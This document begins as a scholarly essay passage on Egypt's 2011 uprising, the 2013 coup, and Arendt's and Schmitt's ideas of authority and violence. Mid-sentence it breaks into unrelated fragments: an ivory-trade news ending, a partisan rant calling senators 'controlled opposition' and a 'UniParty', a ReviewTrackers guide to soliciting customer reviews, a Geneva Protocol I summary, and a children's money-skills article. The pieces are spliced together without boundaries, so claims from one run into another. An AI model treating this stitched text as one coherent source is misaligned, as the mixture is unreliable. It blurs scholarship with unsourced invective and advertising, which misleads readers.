So not only is the dominant tradition of political authority in Europe today not “religious” in either the Roman or the Christian sense, that authority makes “the people”—“the nation”—sacred as an eternal subject, and it claims that national memory (“recovering the past”) and the People’s will (“making the future”) are functions of one and the same national subject.[35] Of course, Arendt is not the first to maintain that modern society (or capitalism) has destroyed tradition.[36] However, she does point out that the demand to create new concepts with which to think and act in a broken time reflects the human ability to make new beginnings. But she does not attend to the resulting paradox: to the extent that what is new actually marks a beginning it also initiates a tradition. It could be said, therefore, that the repetition of beginnings in modernity represents an enduring aspiration for continuity that is continually betrayed—an unhappy yearning for tradition that eludes one.
The 25 January 2011 uprising in Egypt expressed an aspiration that was neither “religious” nor “secular”: to overthrow the old system and make a new beginning, to initiate a “democratic tradition” that would flow from that beginning, a desire that the People’s political obligation be founded on loyalty to the nation and not on fear of the state’s violence: from now on no more political cruelty and deception; justice and progress will follow naturally if government is truthful and visible. (Yet it should not be overlooked that the security police too believed in visibility, as when they exposed tortured victims for people to see and become afraid, or when the judiciary stages show trials for the same reason in order to defeat the nation’s enemies.)
But an aspiration is not a realization. Some years later, well after the July 3rd military coup, looking back at the January uprising, it becomes apparent that there never was a “revolution” because there was no new foundation. There was a moment of enthusiasm in the uprising, as in all major protests and rebellions, but the solidarity it generated was evanescent. A hopeful attempt at beginning a tradition never guarantees the hoped for future: clear aims, good judgment, patience, and willingness to learn a new language and how to inhabit a new body, are required to respond to the various dangers and opportunities that emerge from attempts to found a new political order. Paradoxically, the first attack on the promise of a new political tradition in the January uprising was the removal of Mubarak—by the military. Most activists were delighted at what they saw as the solidarity of the army with the People: īd wāhid! (“one hand!”) was the slogan that met the soldiers as they entered Tahrir Square, but the army generals saw Mubarak’s resignation more clearly as a first step toward an orderly restoration of state power. They understood that it was not the uprising that undermined state authority but the erosion of state authority—of its credibility—that had allowed the popular uprising to explode and the military to move in. The state was no longer the one Sadat inherited from Nasir: the army,[37] big capital, and the Interior Ministry had by this stage fragmented the state’s singular purpose and authority into a number of reconcilable interests among the major leftovers from the Mubarak regime. It was the rebels’ failure to recognize that fact that gave them an exaggerated sense of their own power.[38] When people talked about “a transitional” period, there was, therefore, some confusion of the time required for institutionalizing “the People’s will” (irādat ash-sha‘b) with the time for restoring the sovereign state’s authority and majesty (haybat ad-dawla), because both times sought the legitimacy of political rule.[39]
Arguments about political legitimacy raged in Egypt after the July 2013 coup d’état, although it was not always clear how those who made the claims and counter-claims saw the relationship of legitimacy to legality. Max Weber’s classification of political authority (legitimate domination) into three ideal types is perhaps the most famous in the social sciences, but it gives only one of them a basis in legality: rational-legal authority. The other two, “tradition” and “charisma,” are unconnected to law. Carl Schmitt, by contrast, saw legitimate rule in terms not of consent to authority but of the right (the power) to resist, arguing that the loyalty of citizens to the state was in effect another name for the fact that that right was not being exercised. His assumption was that the nation-state must be homogeneous, sharing a single normative order for political and legal reasons: The right/power to break the claim to legitimate domination is not, in other words, derived from positive law but from the normative order of society that exists prior to the constitution of the state and its law, an order that provides the constitution with its foundation.[40] It is the Schmittian conception of legitimacy, incidentally, that makes it possible for mass street protests against an established political authority to claim that they are exercising the People’s will. Politics that derives from the sovereignty of a modern liberal state is always open to a continuous fear—the fear that the state’s authority may be violently undermined by the secret work of internal enemies.
“Terrorists” in authoritarian Egypt, as in liberal democratic America, are such a threat, and therefore also a spur to reinforcing the devices aimed at meeting it. In theory the liberal state may concede the legitimacy of political dissent, but when popular protest threatens to become politically effective, when it seeks to change the fundamental way the state is run, then concern for the state’s authority opens up different forms of action. “Traitors” are close to “terrorists” but more dangerous to the state’s legitimacy because while feigning to be ordinary citizens they abandon their traditional obligation to the state and convey their loyalty to its enemies. It is therefore rational for the state to extend its security systems (all the while arguing for their necessity and legality) through technologies of surveillance (directly, or indirectly with the help of private sector enterprises), a strengthened police force, and open repression.
One approach to understanding attitudes to state violence in Egypt is through a consideration of some remarks by a well-known journalist, Hilmi Namnam, speaking at a meeting shortly after the coup d’ètat in which he refers in positive terms (as many did) to the necessity of violence against pro-Mursi protesters by the security forces: “No democracy or society,” Namnam insists, “has ever advanced without the shedding of blood.”[41] Namnam’s concern is not simply to assert that the necessary price of progress is the physical elimination of its enemies but also to suggest that progress is not a matter of completing a particular project but of an indefinite advance subject to transcendent principles and it is this that constitutes secularity, the real nature of society. “We must get rid of the lie that Egypt is by natural disposition (bi-l-fitra) a religious state,” Namnam goes on, “because Egypt is secular by nature.” The deliberate violence of the progressive Egyptian movement is secular because it wants to make an increasingly better future in this world; the coercive activity of Islamists, by contrast, seeks conformity with a divine plan. It is motive not effect that distinguishes the two kinds of violence. Thus when Islamists appeal to “religious authority,” instead of “the People’s authority,” they obscure Egypt’s real nature. In making this claim Namnam draws on a revolutionary tradition that affirms the necessity of political violence in this world as a means of making historical progress. The necessity of this secular violence is called for by an unseen future, a force in which all rational individuals should have faith.
Hannah Arendt had this to say about the origins of this tradition:
Necessity and violence, violence justified and glorified because it acts in the cause of necessity, necessity no longer either rebelled against in a supreme effort of liberation or accepted in pious resignation, but, on the contrary, faithfully worshipped as the great all-coercing force which surely, in the words of Rousseau, will ‘force men to be free’ – we know how these two and the interplay between them have become the hallmark of successful revolutions in the twentieth century, and this to such an extent that, for the learned and the unlearned alike, they are now outstanding characteristics of all revolutionary events.[42]
According to Arendt, therefore, all projects in which the use of violence and the creation of terror among those subjected to it are regarded as essential to the creation of free human beings, must be distinguished from the active rejection of oppression presenting itself as necessary or from its passive acceptance as inevitable. “Necessity,” she suggests, has changed from being an excuse for particular cruelties to being the truth of a sacred cause.[43]
Reflecting on the left-wing romance with revolution, Michel Foucault once described the devious path of revolutionary “necessity” as follows: Marxist and Marxisant movements that aimed to capture the state apparatus because it was a historical necessity encountered a typical dilemma. Not only was it deemed necessary for the revolutionary party to model itself on the power structure of the reactionary state in order to fight it effectively, it also found it necessary not to destroy state apparatuses entirely when it took over the bourgeois state. It was necessary for state apparatuses to be retained in order to fight the class enemy. Furthermore, in order to run the appropriated state apparatuses, revolutionaries had to turn to technicians and specialists from the old regime who had the necessary experience—that is to say, who were members of the old class and who therefore brought with them the continuity of old time.[44] This fatal dilemma about clashing necessities—central to Egypt’s brief experience of “liberal democracy”—was intimately connected to the aspiration of “revolutionaries” to control the sovereign state. I will return to this point below when I discuss the encouragement by the military government of a growing body of patriotic citizens who voluntarily denounce their fellows to state authorities.
The question of how political intentions are formed and then expressed in action within a fluid, evolving situation—or even to what extent intentions matter for understanding what happens in the political world—is more complicated than accounts such as Namnam’s would have one believe.[45] The eminent jurist Tariq al-Bishri makes a more interesting observation: The hatred of secularists toward the Muslim Brothers, he argues, has been politically far less significant than the enmity of the state apparatuses toward them because self-styled secularists had neither mass organizations nor direct access to the repressive instruments of the state.[46] As a relatively small cultured elite from the middle and upper classes, secularists were well represented in and by the media. However, whereas their hostility toward “political Islam” was ideological, notes Bishri, the regime in control of the state apparatuses was concerned not with “Islam” but with the threat to their power and privilege issuing from the only major movement for genuine systemic change in the character of the state. The state therefore saw the Brotherhood as a serious political challenge: on the one hand as represented by the professional unions of doctors, lawyers, teachers, engineers, etc., that were dominated by the Brotherhood; and on the other hand, by the Brotherhood’s nationwide organization with its considerable popular following. Bishri says that after the uprising of January 2011 he had hoped the deep state, the secularists and the Brotherhood would all come together peacefully to establish and consolidate “democracy” in Egypt because the alternative would spell disaster. The fact that that comprehensive alliance didn’t take place was, in his opinion, the fault of all three.[47] However, what actually took place, I would suggest, was not a collective moral failure, a fault, but a particular political success in recapturing the sovereign state in which the winners were propelled by powerful emotions and used state violence (which their supporters endorsed) in order to save political time—by cutting short the elected President’s period of legitimate rule. It is often suggested by liberals and secularist militants that the Freedom and Justice Party government should have reached out to them as potential allies against the deep state, but supporters of the Brotherhood point to the longstanding hostility of these elements towards them (which no doubt was reciprocated) and ask rhetorically what value there would have been in reaching out to a small, unfriendly, yet politically powerless current. This is the kind of mutual distrust, based on a long history of contradictory political experience, that renders new foundations virtually impossible.
Many critics have talked about “popular anger at Mursi’s arrogance and incompetence,”[48] and about the fear that he was “Brotherhoodizing” the state and “Islamizing” Egyptian society. But Dina Khawaga, Professor of Political Science in Cairo University, has made several perceptive observations about the anti-Mursi protests in 2013: thus while she recognizes the tensions and criticisms within the so-called “Islamic Awakening,” she explains the hostility to Mursi’s presidency by reference to the idea of “moral panic” (al-hala‘ al-akhlāqi), the sense that what was sacred to the nation (muqaddisāt wataniyya) was being undermined by what was sacred to religion (muqaddisāt dīniyya).[49] Of course, this is not the only time that someone has used that expression in the context of general public tensions (it was first used in English at the beginning of the nineteenth century) but Khawaga’s characterization of the general atmosphere of anxiety, hostility, and volatility in the period leading up to the coup does raise a question that neither secularists nor Islamists in Egypt have debated publicly: In what sense can it be said that there were different notions of “the sacred” in this political contest? And how did one notion threaten the other?
Some left critics have insisted that to focus on the Sisi coup (as the Muslim Brotherhood and its supporters do) obscures the fact that Mursi’s government was itself a part of the “counterrevolution,” because it continued to rely on the repressive apparatuses of the interior ministry and the military.[50] But that doesn’t, I think, quite explain the ferocity of the winners against the Brotherhood that never had control of those apparatuses, lacked a paramilitary force, and was prepared (so its enemies say) to make an alliance with more powerful elements of the “counterrevolution” such as the army: the sweeping arrests of its leaders, the death sentences on its alleged supporters in mass trials, and the savage repression of public protesters. I was struck, as many other observers were, by the passionate expressions of hatred against the Muslim Brothers coming from liberal and left members of the middle and upper classes. “You don’t understand,” I was assured over the phone by Western-educated friends in Cairo shortly after the coup, “the Muslim Brotherhood is a reactionary, terrorist organization.” And when the security forces massacred hundreds of peaceful Brotherhood supporters some left activists insisted: “That tragedy was also the fault of the Brotherhood.” This enthusiasm for the successful exercise of political violence is striking, and clearly very different from the sentiment of inclusive solidarity that challenged state repression in the January 2011 uprising. The emotional undertone of political alignments and responses tends to be ignored or underestimated in many accounts that attribute rationalistic motives to the struggling forces.
The motives of people who called or were encouraged to call for Mursi’s removal were no doubt complex. They included traditional lower-class deference toward the elite that took the initiative, as well as a desire on the part of middle-class militants to revolutionize the nation-state, and a fear on the part of those who owed their privileged position to the Mubarak regime that their lifestyle was threatened by the Muslim Brotherhood. Motives are often colored by the concealed desires and misguided views that people have of themselves. Once one insists on putting everything into boxes labeled “revolution” or “counterrevolution” according to attributed motives one has already appropriated the right to describe every political event in terms of his/her attitude toward “freedom” (for or against) and thus foreclosed more complicated accounts attending to shifts in perspective, fluid motivations, revised judgments of persons and events, and accidental happenings—and thus the collapse of attempts to build a new tradition.
Sometimes the attempt to explain political protest takes a more sophisticated form. Thus a day after the coup the sociologist Hazem Kandil wrote reassuringly: “Those who grieve over this affront to ballot box democracy forget that Egypt, like any new democracy, has every right to seek popular consensus on the basic tenets of its future political system. Revolutionary France went through five republics before settling into the present order, and America needed a civil war to adjust its democratic path. It is not uncommon in the history of revolutions for coups to pave the way or seal the fate of popular uprisings. Those who see nothing beyond a military coup are simply blind.”[51]
Kandil sees the June protests and the July coup as the work of a single subject (“Egypt, a new democracy”) following a clear cut road (“the democratic path”). But invocations of “democracy” are part of a discourse that all conflicting sides share, and it is not always clear what they mean by it other than something self-evidently “good.” Those who carried out and supported the military coup were defending “democracy.” Those dismayed by the forcible removal of a legitimately elected (albeit widely criticized) President feared that this act would damage the prospect of establishing “democracy.” For some, installing “democracy” meant following a model supposedly embodied in Western states—different from country to country, of course, but sharing a political tradition of ideas and practices. For others “democracy” meant an end to the pervasive corruption and cruelty of Mubarak’s regime, for yet others a just distribution of wealth in Egyptian society. Kandil’s casual reference to France’s history of failed republics (entangled as it was with colonial empire and its aftermath) and to America’s bitter civil war to construct a strong centralized state (that now extends militarily across the globe in collaboration with international corporations) is not relevant to the anxieties generated by Sisi’s coup today. What constitutes Sisi’s authority—the necessity of his intervention to save democracy, or the People’s acclamation? Of course, holding a national election is no guarantee of having entered a “democratic path,” whatever that might be, but surely dismissing electoral procedures isn’t “democracy” in any sense. Kandil may be justified in saying that “Egypt has every right to seek popular consensus on the basic tenets of its future political system,” but the unanswered question remains: How, other than by the ballot box, can one determine that that right is indeed being exercised?[52]
Echoing Kandil, the noted historian Khalid Fahmi wrote two weeks after the coup, “We were taught in schools that we were a patient and passive people, and for generations we accepted facile sayings about the genius of Egypt, its tranquil landscape, its gentle river and undemanding people. And yet here we are, proving to ourselves that we write our own history and that we can depose our rulers if they do not succumb to our will.”[53] Fahmi tells his readers that this traditional representation of popular submission is no longer credible because the coup has proved that “we” (all the classes, rich and poor, men and women, Muslims and Copts?) have the ability to “depose our rulers.” This claim attributes to the Egyptian People a transcendent power—the power to make happen what is true (to unseat disobedient rulers), and to say what is true (to write a triumphant history), a power no longer constrained by religious authority. Yet the considerable numbers of Muslim Brotherhood supporters in Egypt’s cities and villages discovered that they could not retain their “legitimate rulers.” It appears that the People’s power exhibits itself only in deposing but not in installing or reinstalling its rulers.[54] Because the nation includes those who are persecuted as well as their persecutors, those who want stability at any price and those who want justice at any price, the permanent victory of either side is never guaranteed. A paradox of the modern nation-state, including Egypt, is that on the one hand it minimizes the existence of significant internal differences in order to assert national homogeneity, and on the other hand it emphasizes difference as significant in order to exercise the violence that is “necessary” to its sovereignty.
Whatever coherent sense the idea of “sustained unity” has, it comes not from common sentiment but from the shared life of a tradition—and even that does not preclude bitter disagreement among those who follow the same tradition, and mutual accusations of taking what is contingent for what is essential and worth defending to the last. The disputes themselves make for a kind of unity. The modern sovereign territorial state, by contrast, doesn’t have such a unity because the lives of people within it are too disparate in the things they value, in the pasts to which they attach themselves, in their sense of what group they belong to, in the bodies they inhabit, and in the authorities they invoke. It is precisely because of this diversity that democracy (for all its obscurities and ambiguities) has emerged as an assemblage of political and legal devices—including elections—for addressing the ineradicable presence of difference, disagreement, and mutual hostility within the modern state with minimum damage, and why the skills and sensibilities required to engage effectively in democratic politics is acquired by experience, sustained by goodwill and blessed by good luck, and why the ballot box is an indispensible part of “democracy” whatever else “democracy” might be.
As hostility to the Mursi government mounted, the secular activists joined the state apparatuses and their business allies (who had been working to unseat Mursi from at least November 2012) allowing the army to enter the political arena publicly yet again.[55] Certainly Mursi’s incompetence was linked to his exaggerated sense of presidential power and immunity and to his underestimation of the resources and tactical skills of his enemies. The June 2013 popular movement that drew on a variety of complaints and fears (some genuine, some grossly inflated by the pro-Mubarak media) was ostensibly aimed at “the restoration of the January 25th revolution,” but what it did was to facilitate the coup.[56] In the 2014 military-backed constitution, references to the 25th January uprising present in the previous constitution were removed—and hardly anyone noticed. In general, 25th January has been erased or vilified by the state media[57] and military violence has openly claimed authority by invoking its own version of “revolutionary tradition.” The possibility of democratic time has collapsed, and it will not—at least for an indefinite period—be retrievable.[58]
The military coup consisted not merely in the removal and imprisonment of the President and the violent suppression of opponents to the new/old order, but in getting various social actors to accept Sisi’s claim to be exercising temporary authority over “the [contending] sides” (al-atrāf)—the nationally elected President on the one side and the opposition on the other—in his giving the street protests military protection, and in requiring “the two sides” to resolve their disagreement within a short, specified period of time. In thus positioning himself (and the military) above “a crisis of the state” Sisi was enabled by the emotional rhetoric of popular sovereignty to present his unilateral resolution of that crisis (for which Mursi’s obduracy was said by opponents to be entirely responsible) as an affirmation of the People’s will.[59]
In his book published shortly after the January 25th uprising the poet Yasir Anwar recounts incidents that exemplify secular feelings of unease and repugnance for the vocabulary of Islamic tradition, including such banal phrases as inshā’allah.[60] But the main interest of that book lies in its desire to transcend the political categories used by Marxists, liberals, and Islamists in their polemics:
We have escaped from a prison of politics to a prison of old books. No one sees this world with his own eyes, only with the eyes of others: this one is a Marxist, that one a Wahhabi, and a third a Sufi. We are all in need of a translator because we don’t share a common language (lughatnā laysa wāhida). How can Ibn Taymiyya debate with Marx? How can Hegel converse with Ibn Arabi? If disagreement is considered a source of culture and a sign of its fertility and vitality, cultural despotism and polarized thinking reign supreme over the present scene. Faced by the dominance of [social] fragmentation and splintering, the idea of eliminating the other has taken the place of accepting the other, of the relationship of neighborliness, of the interweaving [of different ideas] – all this has disappeared.[61]
Anwar’s complaint that “no one sees this world with his own eyes” is problematic, of course, because no one can do without authoritative knowledge accumulated from the past; in that sense our own eyes are also the eyes of others who have preceded us. But he is right to draw attention to the significance of friendship and antipathy in exchanges between people who do not always recognize the disparity of times to which the people they draw on or dismiss belong. Heated debates across radically different traditions, he says, seem endless and fruitless because appropriate sensibilities and the exercise of imagination are both lacking. Certainly mutual distrust and hostility have been major features of political life in Egypt ever since January 2011. Especially in times of political upheaval, fear, suspicion, and misattributions of intention render trust—and therefore friendship—extremely fragile.
But first: why is rational debate of primary importance to democracy? One answer is that it has a decisive outcome and is therefore the best way, in politics as in law and natural science, of determining the truth. Liberals typically represent “religion” as appeals to divine authority, and that is why (liberals believe) debates about “religious belief”—or debates generated by it—are passionate, inconclusive, and prone to violence.[62] Less well known is the liberal state’s dependence on early modern arguments for capitalism,[63] in which the idea of “interest” increasingly displaced the idea of “passion” as the principal mode of politics. The good that is calculable (“economic value”) was considered superior in politics to the good that isn’t (“religious value”) because only the former could be conclusively assessed. This discursive move gave the market its ideological claim to being a neutral mediator for resolving conflicts over value, a claim that has since become central to the secular tradition of the modern liberal state. The electoral process itself has adapted itself in several ways (resource investment, targeting swing voters, gaining and losing seats) to the idea and practice of the market. The market has become part of liberal commonsense and liberal governance: no pursuit of sectional “interests” within the sovereign state, no politics; no free commerce, no paradigm of political liberty. It’s this formula that underlies the emergence of the modern state according to which politics now comes to be the interest in gaining access to the total system of social control embodied in the sovereign state for the realization of calculable goods. Although the inconclusiveness of debate about “religious belief” was originally a reason for proposing that appeals to transcendence be excluded from the domain of politics and confined to the private sphere, today inconclusiveness is no longer grounds for excluding debate from politics. Indeed the inconclusiveness of argument (such as over the manner and degree of state intervention in the economy or in religion), the turnaround of party government, is part of that inconclusiveness that is now regarded as a political virtue, a sign that “liberal democracy” is at work.
To understand how the “democratic promise” of the past appears in the present, how the authority of the 2011 uprising was aborted and replaced by another, one needs to attend not only to connections between the power of the state and popular resistance to it, but also to the constitution of subjects who adjust fully to modern sovereignty—as well as of those whose conditions of existence are incompatible with it. The subject is not only, of course, what he owns and thinks but also how he/she has learnt to move and sit and speak and feel in different situations—and what he or she wears and eats. So my final comment on Anwar’s complaint is this: It is not simply that public views are now mutually unintelligible (which they are), or that debate is interminable (which it is). It is that, like the destructive shifts following capitalist crises, the fractious time of petty dispute and distrust overwhelms the temporality of learning discursive traditions, on recognizing how dependent one is on others, and living accordingly.[64] The power of the modern sovereign state resides not only in what it promotes but also—and especially—in what it disables when it joins with a particular economy (capitalism) and a particular metaphysic (nationalism).
IV
There are several excellent studies of Egypt’s acquisition of liberalism—including a vocabulary of “freedom,” “equality,” “progress,” “the moral sovereignty of the individual,” and so forth—since the latter part of the nineteenth century, interrupted only partly by its socialist phase under Nasir, and then resumed in the liberal policies of Sadat.[65] These are, however, not simply moments in Egypt’s past; they are integral to a contradictory present in which people invoke aspects of the country’s political traditions: The beginning of state welfare, state funded education, and secularization—as well as the growth of the secret police and the military.[66] Nasir’s state reforms of Egyptian society and economy are usually set in opposition to the “liberal” periods that preceded and succeeded his rule. Thus much Egyptian political history since the defeat of 1967, and especially after the death of Nasir in 1970, is seen by the left as the unraveling of the state structure even though the military and security apparatuses retained and even enlarged their presence in it: various state functions and projects were privatized, and the so-called Islamic Current in urban society emerged as the most important organized opposition to the secularizing state.[67] There are certainly different ways of marking out political times in Egypt but underlying all of them since the late nineteenth century is the aspiration of its ruling classes to “catch up with” modern time, whether in a “liberal” or a “socialist” Egypt.
It is not always remembered that Nasir’s land reforms benefitted farmers who were considered to be “efficient” and “productive,” as against the very large population of poor peasants,[68] that after Nasir’s death the long-standing project of increasing efficiency and productivity helped to promote arguments for free enterprise rather than state ownership as the engine of growth and the precondition for national welfare. Whether the state is or is not despotic, “efficient growth” is its primary function together with maintaining its continuity and strength, and rulers have thus become receptive to arguments for privatization and marketization. And it is the continuous dislocation effected by the logic of the market that renders tradition increasingly precarious. The unities enabled by market-promoted lifestyles—fashions in clothes, foods, corporal appearance—are not to be confused with the embodied disciplines of tradition that Shaykh Usama talked about because fashion is ephemeral. One can take up fashion or abandon it whenever one feels like it.
As in other parts of the globe, the idea of freedom of the individual in modern Egypt has merged with the idea of the free market, expressed in part in the Supreme Constitutional Court’s reforms of the bureaucratic laws that were seen to be holding back private enterprise.[69] In the period of economic and political liberalization a plethora of NGOs has created an expanding space of “civil society”: middle-class activists, with institutional funding from Euro-America and entry to Western networks, telling their fellow-citizens to claim their rights as free persons from their state and to produce more efficiently in a free economy.[70] One result has been that this “civil society” has become further alienated from the predicament of the urban and rural poor.[71] Market time with its emphasis on the sovereign consumer not only undermines much of the continuity of everyday life but also disrupts the time necessary for cultivating trust that goes beyond the interests of the individual.
Over the last few decades the increasing circulation of money from rentier income has contributed to rapid social mobility that has helped undermine past solidarities and commitments, and created personal aspirations together with resentment at the failure to realize those aspirations.[72] Several years ago, the prominent Egyptian social critic and political economist Galal Amin bewailed what he saw as a change in people’s behavior: Promise keeping, pride in one’s work, and loyalty to old relationships, are, he wrote, now rarely valued.[73] Hisham al |
have both passed laws outlawing it. But the administration has failed to reach its ultimate goal of a national ban. The National Rifle Association’s support for trophy hunting and for trade in guns with ivory-inlaid stocks remains a barrier, environmentalists say.
“China’s announcement puts the ball back in our court,” Peter LaFontaine, a campaigns officer at the International Fund for Animal Welfare in Washington, wrote in a blog post. “The US must lead by example to show we will not be an active player in the devastation and eventual extinction of such a majestic and intelligent species.
“It’s up to us to change the laws – and actually enforce them – before it’s too late.”
This article appeared in Guardian Weekly, which incorporates material from the Washington PostVarious senators deliver remarks following the collapse of their ability to reform and replace ObamaCare with any alternative. Beginning with the controlled opposition position of Rand Paul and continuing with Mitch McConnell and the Senate GOP leadership (at 15:00 of video).
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What these insufferable politicians well understand is that any substantive tax reform will necessarily also be compromised by the flawed dynamics inside ObamaCare. That will have a negative downstream impact on any hope for economic growth. However, they are not stupid – they know this – that is their unified UniParty goal.
The increasing taxpayer costs to keep big government ObamaCare operational, for non-taxpaying medicaid recipients, means the middle-class is once again sacrificed at the altar of the Big Club.
American workers on the individual market will not only see increased insurance rates, but their income tax rates will also be higher as the need to subsidize the lower-income non-working group (medicaid) remains.
A pox on them!
AdvertisementsHow to Ask Customers For A Review (and Encourage Positive Reviews)
Asking customers for a review generally yields higher ratings (4.3 stars) than otherwise (3.9 stars).
That’s because the average customer generally has a better experience than someone who decides to leave a review on their own and may be motivated by a bad experience.
Thus, asking for reviews will generally yield GREAT results for a brand. You’ll encourage higher star ratings and, obviously, get more reviews.
Here are 7 ways to ask for reviews and some examples of how to do so.
Automate your review requests. Have a review form. Setup a custom URL to review websites. Add a review widget to your website. Look for places where customers are already writing reviews. Use a review request email template. Ask for reviews in person.
How to ask customers for reviews, the basics:
Before we talk tactics, let’s go over a few basics that will help you optimize your review requests, encourage positive reviews, and make sure you’re following all the rules for various reviews sites (like Google, Facebook, etc).
For starters, always have explicit permission before soliciting feedback via email, SMS or social.
The optimal time to inquire is a few days after the transaction.
Within the request, use casual language so anyone understands what you’re after.
Make sure they know how long the process will take, i.e. “…a few minutes.”
Encourage transparent feedback, not blanket satisfaction. The value of the review isn’t in the rating, it’s in the feedback.
Express your heartfelt gratitude for their patronage and reiterate the importance of feedback.
DISCLAIMER: Don’t offer incentives for online reviews. It is unethical and against many review websites terms of service. The FTC wrote about this back in 2009, explaining that the reviewer must disclose any endorsement or kickback from the review. If you do it wrong, you could get fined. It’s against Google’s guidelines. If you’re caught, Yelp will publicly shame your business. Plus, you will ruin the authenticity of your customer data. It’s not worth it. In reality, you should encourage more customer feedback, especially negative feedback. It’s full of valuable data that can actually improve your business, unlike that fluffy 5-star stuff.
Close to 75% of online shoppers read customer reviews before deciding to make – or not make – a purchase.
This new, online-to-offline customer experience is changing the way we, as marketers, think about digital marketing, sales, social media and customer service.
Customers have always had the power.
Luckily, they are freely providing unstructured feedback in the form of online reviews.
Data which can prove you’re marketing to the correct audience.
Data that can inform your operational team of issues within your organization.
Customer experience data found in online reviews is extremely valuable.
That’s why it’s important to start asking for reviews from your happy customers: they just might turn out to be your best sales reps. Here are some tips to help you get started.
Example of Asking Customers for a Review
Most times, you won’t get it if you don’t ask. Don’t be shy, but don’t be too aggressive, either.
A good idea is to start with your existing customer base. You can make the request for a review by way of a simple and short E-mail, or through your business’ social networks on Facebook or Twitter.
Below is a great example of asking your customer for a review.
7 Ways to Ask Customers for a Review
1. Automate your review requests.
Automating your reviews is the key to get more reviews and better ratings.
Automating can be simple done by simple “trigger” events. For example, every time a customer swipes their card in your POS system can trigger a review request. Digital marketers can also send simple, mass email campaigns to customers in their CRM
Here are a couple examples of companies that say triple-digit growth in their reviews.
Ziebart, an auto service provider, synced their CRM to ReviewTrackers’ API to automatically send a review request to every new customer after they had their car services. The result: a 262 percent increase in reviews. (Read the Ziebart case study here).
(Read the Ziebart case study here). Concourse Sports, a sports equipment retailer, sent blast emails to all customers in their database. In 2 months, they were able to increase reviews by 2,800. (Learn how Concourse Sports increased their reviews by 2,800 percent).
2. Have a review form.
If your business has an actual physical location, it’s a good idea to prepare sheets of paper with a request for a review. You can hand these out after the transaction, or just before your customer is about to leave. If you ship out products or services to people, don’t forget to include your review forms. If the customers love what they receive, they just might drop in plenty of good words about your business.
3. Setup a custom URL to review websites.
This is a great way to make it foolproof for your customers to find the location where they are supposed to talk about their experiences. Most review websites have a “view profile as public” option, so be sure the link you’re using does not require an administrative login to the website.
A great example in action can be seen here from a Toyota dealer in Ohio:
4. Add a review widget to your website.
If your business is entirely online, you can still ask your customers for reviews. On your official website or company blog, you can add a sidebar or widget which customers can click and use for posting on your business’ most relevant review sites.
5. Look for places where customers are already writing reviews.
You can find almost anything on the Internet. Just use Google Search. Even if you’re not selling anything online, your business still might have a number of existing reviews from customers. To make the job easier, sign up for a review generation solution like ReviewTrackers to ask your customers for review though email, SMS, or at the point of sale and care.
6. Use a review request email template.
Make things easy for yourself by using a review request email template. Realistically, you’ll need to send hundreds of these emails, but having a template makes it easier to send campaigns to large batches of your customers at once.
7. Ask for reviews in person.
Sometimes the simplest options are the best. You can always ask people for reviews in person, face-to-face. In our experience there are two great ways to do so:
The low-tech way: an in-person review handout (see our review handout generator)
The awesome high-tech way: a tablet device that syncs to your CRM or POS system.
If you use a review aggregator like ReviewTrackers, you can sync it to whatever customer management system you use. After customers finish a meal at a restaurant, you could present them with a tablet that asks them to review their service. For a more stream-lined process, you can also use the tablet as a way for customers to pay for their experience.
This kind of in-person review request is popping up all over the place. Gas stations may ask you to rate the station at the pump, or your grocery store may prompt you after you swipe your card.
The takeaway: start asking for reviews
If you’re not using these methods to ask for more reviews you might want to start soon. Chances are that your competitors are using them already.
If you want to see what full-throttle review requests look like, sign up for a free trial of ReviewTrackers and get access to our email campaign and template tools.Parties to GC I–IV and P I–III Parties to GC I–IV and P I–II Parties to GC I–IV and P I and III Parties to GC I–IV and P I Parties to GC I–IV and P III Parties to GC I–IV and no P
Protocol I is a 1977 amendment protocol to the Geneva Conventions relating to the protection of victims of international conflicts, where "armed conflicts in which peoples are fighting against colonial domination, alien occupation or racist regimes" are to be considered international conflicts.[1] It reaffirms the international laws of the original Geneva Conventions of 1949, but adds clarifications and new provisions to accommodate developments in modern international warfare that have taken place since the Second World War.
As of June 2013, it had been ratified by 174 states,[2] with the United States, Israel, Iran, Pakistan, India, and Turkey being notable exceptions. However, the United States, Iran, and Pakistan signed it on 12 December 1977, which signifies an intention to work towards ratifying it.With bagged lunches and crisp clean notebooks, kids everywhere are heading back to school to brush up on their math, English and geography skills. One lesson they won’t get in the classroom, however, is arguably one of the most important for their future success: How to smartly and responsibly handle money. That is a course we leave to parents, who do not get a lesson plan.
"Parents do great teaching kids good manners and how to be safe, make their beds and be culturally savvy," says Mary Hunt, personal finance expert and author of recently released Raising Financially Confident Kids. "But so very often parents neglect the most important thing of all—to prepare them to be financially astute."
Hunt says teaching good money skills can be a blind spot for parents because so many feel financially inept themselves. “Parents have this notion that because they are in debt or not saving enough, they have no basis to teach their children about money.” They’re wrong, Hunt says. Teaching financial literacy is like teaching any language. She provides a breakdown of how to talk about money, make use of everyday learning opportunities and provide kids with hands-on experience, so they can learn firsthand.
How To Talk About Money
When do you need to begin thinking about teaching money skills? “You start the moment you drive home from the hospital,” says Hunt. Kids are more likely to do what you do than do what you say, so right from the beginning it’s important to model healthy financial behaviors and talk often and calmly about money.
The first lesson kids must learn is that money has value, and when you spend it, it’s gone. When children are young, Hunt suggests always using cash when you're with them rather than credit or debit cards. "Cash is very visual, clear cut and not confusing," she says. "Credit sends a mixed message to kids." Otherwise, they might have trouble grasping the concept of spending and believe that a magic card gets you anything you want.
Another important conversation is the difference between needs—necessary expenditures--and wants—the just-for-funs. Hunt believes parents should reinforce through words and actions that it’s important not to spend more money than you have. One good way is to keep the just-for-fun purchases in check by not giving in to a child’s every request or going overboard yourself. However, Hunt warns against saying, "We can't afford it.” For a child, that translates to “we’re poor” and worries them. Instead, she suggests saying, "We choose not to spend our money that way."
Allowance Ground Rules
While allowance can be a controversial topic for many parents, Hunt believes that giving children allowance is one of the best ways for them to learn how to handle money on their own. She suggests starting at age six and recommends $1 a week for their age ($6 a week for a 6-year-old and $15 a week for a 15-year-old). Start off with a weekly allotment and then extend it to bi-weekly for pre-teens and monthly for teens. That way, they’ll be continually challenged to plan and make it last longer.
Hunt says parents need to make it clear to the child what their responsibility is. Explain that the house, car, food and utilities are what parents pay for, and the child should consider their allowance personal spending money. Also, explain how you expect them to manage the money. Hunt recommends the following split: 40% goes toward spending; 40% toward short-term savings, like a new bike or toy; 10% toward long-term savings, like college or a car; and 10% toward giving. For young kids, labeled jars work to separate the money. Once they’re older, you can set them up with bank accounts that mirror the disbursements.
